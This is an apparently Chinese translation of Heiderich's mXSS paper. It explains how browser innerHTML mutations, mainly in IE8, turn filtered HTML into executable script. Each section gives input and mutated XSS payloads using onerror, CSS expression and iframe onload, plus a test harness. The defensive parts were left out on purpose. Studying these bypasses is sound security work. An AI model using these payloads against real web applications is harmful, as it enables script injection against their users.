mXSS攻击的成因及常见种类

0x00 译者的话

本文原文是由国外大牛Mario Heiderich在2013年所写的一篇paper：mXSS attacks: attacking well-secured web-applications by using innerHTML mutations. 本人觉得此类mXSS攻击较为隐蔽，常规的XSS过滤器并不能防止此类攻击。在测试QQ空间日志中的确存在此类问题后，认为mXSS在WEB应用中还是存在较大的潜在危害，因此，决定将此文做一个翻译。但是，一来由于水平有限，仅能依靠自己浅薄的理解来大致的翻译一下，文中图片以及代码都是在自己的理解上加以重新阐述，也许这样更加易于读者掌握。如果英文较好的同学可自行阅读英文原版。二来，我个人仅注重“攻”的一部分，本文中我认为实用性不高的部分，以及如何防御此类攻击的大幅段落，我并未进行翻译，因而有需要的读者也需要自行去了解这些部分。不论如何，希望本文能够让国内的研究者们对mXSS有一个基本的了解。

0x01 简介

不论是服务器端或客户端的XSS过滤器，都认定过滤后的HTML源代码应该与浏览器所渲染后的HTML代码保持一致，至少不会出现很大的出入（图1）。然而，如果用户所提供的富文本内容通过javascript代码进入innerHTML属性后，一些意外的变化会使得这个认定不再成立：一串看似没有任何危害的HTML代码，将逃过XSS过滤器的检测，最终进入某个DOM节点的innerHTML中，浏览器的渲染引擎会将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。随后，该段攻击代码，可能会被JS代码中的其它一些流程输出到DOM中或是其它方式被再次渲染，从而导致XSS的执行。这种由于HTML内容进入innerHTML后发生意外变化（mutation，突变，来自遗传学的一个单词，大家都知道的基因突变，gene mutation），而最终导致XSS的攻击流程，被称为突变XSS（mXSS, Mutation-based Cross-Site-Scripting），整个流程的示意图见图2。从流程中不难看出，突变发生在XSS过滤流程之后，因此不论是服务器端还是客户端的XSS过滤器对这类攻击并不能进行有效的防御。

图1. XSS过滤所假设的前提

图2. mXSS攻击流程

将内容置于innerHTML这种操作，在现在的WEB应用代码中十分常见，根据原文作者的统计，1W个常见的WEB应用中，大约有1/3使用了innerHTML属性，这将会导致潜在的mXSS攻击。从浏览器角度来讲，mXSS对三大主流浏览器（IE，CHROME，FIREFOX）均有影响。表1列出到目前为止已知的mXSS种类，接下来的部分将分别对这几类进行讨论与说明。建议读者主要使用IE8来测试本文中的代码。具体测试代码如下：

#!html
<div id="testa">xx</div>
<div id="testb">xx</div>

<script>
//请自行将输入的HTML代码中的双引号以及 \进行转义操作
//其中： " -> \" , \ -> \\
var m="此处输入被测试的HTML代码"; 

//1. 将用户输入内容放入innerHTML
var x=document.getElementById("testa");
x.innerHTML=m;
//2. 发生突变后，取出突变后的内容，放入html变量
var html=x.innerHTML;
//3. 弹出突变后的代码
alert(html); 
//4. 将突变后的代码输出到DOM中
document.getElementById("testb").innerHTML = html;

</script>

表1. 本文中所涉及的mXSS种类

英文	中文
Backtick Characters breaking Attribute Delimiter Syntax	反引号打破属性边界导致的 mXSS
XML Namespaces in Unknown Elements causing Structural Mutation	未知元素中的xmlns属性所导致的mXSS
Backslashes in CSS Escapes causing String-Boundary Violation	CSS中反斜线转义导致的mXSS
Misﬁt Characters in Entity Representation breaking CSS Strings	CSS中双引号实体或转义导致的mXSS
CSS Escapes in Property Names violating entire HTML Structure	CSS属性名中的转义所导致的mXSS
Entity-Mutation in non-HTML Documents	非HTML文档中的实体突变
Entity-Mutation in non-HTML context of HTML documents	HTML文档中的非HTML上下文的实体突变

0x02 反引号打破属性边界导致的 mXSS

该类型是最早被发现并利用的一类mXSS，于2007年被提出，随后被有效的修复，所以当前绝大多数用户的浏览器不会被此mXSS所影响。当时的利用代码如下：

#!html
输入形式：

<img src="test.jpg" alt ="``onload=xss()" />

突变形式：

<IMG alt =``onload=xss() src ="test.jpg"> 

可以看到，突变后的形式变成了有效的XSS攻击代码。

0x03 未知元素中的xmlns属性所导致的mXSS

一些浏览器不支持HTML5的标记，例如IE8，会将article，aside，menu等当作是未知的HTML标签。对于开发者来说，虽然是未知标签，但是我们还是可以通过设置这些标签的xmlns 属性，让浏览器知道这些未知的标签是的XML命名空间是什么。一般来说，在HTML中，指定这些未知标签的xmlns属性并没有任何意义，也不会改变它们在浏览器中的外观之流的东西。但是，这些被指定了xmlns属性的标签进入innerHTML后，被浏览器所渲染，就会发生一些变化，而这个变化被十分猥琐的用于了XSS。首先我们来看正常情况下设置xmlns的情况。

#!html
输入形式：

<pkav xmlns="urn:wooyun">123

突变形式：

<wooyun:pkav xmlns="urn:wooyun">123</wooyun:pkav>

接着猥琐流很快就会想到下面的代码，可以看出，成功变成了含有onerror=alert(1) 的img标签。

#!html
输入形式：

<pkav xmlns="urn:img src=1 onerror=alert(1)//">123

突变形式：

<img src=1 onerror=alert(1)//:pkav xmlns="urn:img src=1 onerror=alert(1)//">123</img src=1 onerror=alert(1)//:pkav>

扩展：细心的同学也许会注意到，我们的代码中，并未闭合标签。那么一个经常碰到的场景是：XSS过滤器会在解析HTML代码时，自动补全未闭合的标签。这样一来，就会出现下面的场景：

#!html
输入形式：

<pkav xmlns="urn:wooyun">123

过滤后形式：

<pkav xmlns="urn:wooyun">123</pkav>

突变后形式：

<?XML:NAMESPACE PREFIX = [default] urn:wooyun NS = "urn:wooyun" /><pkav xmlns="urn:wooyun">123</pkav>

聪明的我们应该不难想到应对办法，这应该也就是http://html5sec.org/?xmlns#97中所描述问题的发现过程（由Silin于2011年发现）。

#!html
输入形式：

<pkav xmlns="><iframe onload=alert(1)">123</pkav>

突变后形式：

<?XML:NAMESPACE PREFIX = [default] ><iframe onload=alert(1) NS = "><iframe onload=alert(1)" /><pkav xmlns="><iframe onload=alert(1)">123</pkav>

0x04 CSS中反斜线转义导致的mXSS

在CSS中，允许用\来对字符进行转义，例如：property: 'v\61 lue' 表示 property:'value'，其中61是字母a的ascii码（16进制）。\后也可以接unicode，例如：\20AC 表示 € 。正常情况下，这种转义不会有问题。但是碰上innerHTML后，一些奇妙的事情就发生了。看以下代码。

#!html
输入形式：

<p style="font-family:'ar\27 \3bx\3a expression\28xss\28\29\29\3bial';"></p>

突变形式：

<P style="FONT-FAMILY: 'ar';x:expression(xss());ial'"></P>

可以看到，突变后的形式中，原输入的font-family的属性值中的所有转义形式均被解码回它原有的形式。其中\27被解码为单引号，提前闭合掉了FONT-FAMILY属性，接着插入了我们自定义的x属性，利用expression来执行Javascript代码。如果结合我们先前已经有所了解的CSS 中的一些XSS技巧，将会让情况看起来变得更加糟糕。例如以下代码，看起来，我们可以把expression变得乱七八糟。

#!html
输入形式：

<p style="font-family:'ar&#x5c;27 \3bx\3a ex\5cpre\2f**\2fssion\28 xss\28 1\29\29\3bial';"></p>

突变形式：

<P style="FONT-FAMILY: 'ar';x:ex\pre/**/ssion(xss(1));ial'"></P>

0x05 CSS中双引号实体或转义导致的mXSS

接着上一部分，依然是CSS中所存在的问题，既然反斜线转义会被解码为它原本的形式，那么会出现下面这样一种情况。

#!html
输入形式：

<p style="font-family:'aaaa\22\3e\3cimg onerror ….';"></p>

预期的突变形式：

<p style="font-family:'aaaa"><img onerror ….';"></p>

这样一来，不就可以插入任意标签了么？想法很好。但实际上如何呢？

#!html
实际的突变形式：

<P style="FONT-FAMILY: 'aaaa'><img onerror ….'"></P>

并非我们想象的那样，而是我们的\22竟然变成了单引号，按照原文作者的说法，我们只能对这种奇怪的结果所产生的原因做出推测：\22 先被解码为 "，但考虑到双引号会闭合掉style属性，所以浏览器渲染引擎将"进一步转变为了'，以避免这种情况的发生。当然，这也意味这，除了 \22，\0022 之外，HTML实体如：" " " 等双引号的表示形式均可导致这类问题。

0x06 CSS属性名中的转义所导致的mXSS

前2部分都讲到的CSS属性值中的情况，如果CSS属性名中出现了反斜线转义，又会如何？见下面代码。

#!html
输入形式：

<img src=1 style="font-fam\22onerror\3d alert\28 1\29\20 ily:'aaa';">

突变形式：

<IMG style="font-fam"onerror=alert(1) ily: ''" src="1">

可以看到，我们用转义的内容，嵌入到font-family的属性名中，突变后，\22被解码回双引号，并且闭合掉了style属性，从而我们可以通过onerror事件执行javascript代码，需要注意的是，=号，括号等也需要被写为转义形式。我们亦可在\22后加上\3e来闭合掉img标签，并在此之后插入自己的HTML标签。

有时，我们还会碰到style属性用单引号做边界符的情况。对于这种情况，style的边界符会被渲染回双引号，我们的\22依然可以发挥它的作用，例如：

#!html
输入形式：

<p style='fo\27\22o:bar'>

突变形式:

<p style="fo'"o: bar"></p>

0x07 Listing标签导致的mXSS

此外，在本文原作者的PPT中，还提到了一个<listing>标签导致的mXSS，大家理解上面的例子后，本例也较为简单。

#!html
输入形式：
<listing>&lt;img src=1 onerror=alert(1) &gt;</listing>

突变形式：

<LISTING><img src=1 onerror=alert(1) ></LISTING>

在 WooYun: QQ空间某功能缺陷导致日志存储型XSS - 15 中，笔者就使用了该标签来触发了 mXSS（IE8及IE9下目前均有效），读者可以参考该实际案例进一步了解mXSS的攻击及挖掘流程。

0x08 易于被mXSS攻击的Javascript代码

上面已经讲解了不同种类的mXSS，那么什么样的代码易于遭受mXSS攻击呢？根据图2中的mXSS流程，JS代码中，至少要将用户提供的内容放入DOM中两次，才会触发XSS攻击。原作者给出了以下代码场景：

1) a.innerHTML = b.innerHTML ;
2) a.innerHTML += 'additional content';
3) a.insertAdjacentHTML ( 'beforebegin' , b.innerHTML ) ;
4) document.write (b.innerHTML) ;

其中，1) 与 4) 里的b.innerHTML含有突变后的内容，被通过innerHTML或者是document.write的方式再次输出到DOM中，从而触发mXSS。 3)使用了insertAdjacentHTML函数（算是innerHTML的加强版，具体用法可自行了解）来将含有突变内容的b.innerHTML加入a中，从而导致mXSS。而2) 则较为隐蔽，a.innerHTML中存在突变后的内容，当我们使用+=来向a.innerHTML中追加内容时，a会被重新渲染，从而触发mXSS。

0x09 总结

原文中还有两类：非HTML文档中的实体突变以及HTML文档中的非HTML上下文的实体突变，本人觉得被实际应用的场景并不丰满，就不进行阐述了，有兴趣的研究者可以自行了解。希望看过本文后，可以为大家提供一些思路性的东西。如果你有此方面的意外发现，一定不要忘了与我分享：[email protected]（欢迎邮箱xss来稿）。

0x10 参考文献

1. Heiderich, M., Schwenk, J., Frosch, T., Magazinius, J., & Yang, E. Z. (2013, November). mXSS attacks: attacking well-secured web-applications by using innerHTML mutations. In Proceedings of the 2013 ACM SIGSAC conference on Computer & communications security (pp. 777-788). ACM.

2. Heiderich, M. The innerHTML Apocalypse. http://www.slideshare.net/x00mario/the-innerhtml-apocalypse. Security Research / Penetration Testing at Cure53 on Apr 25, 2013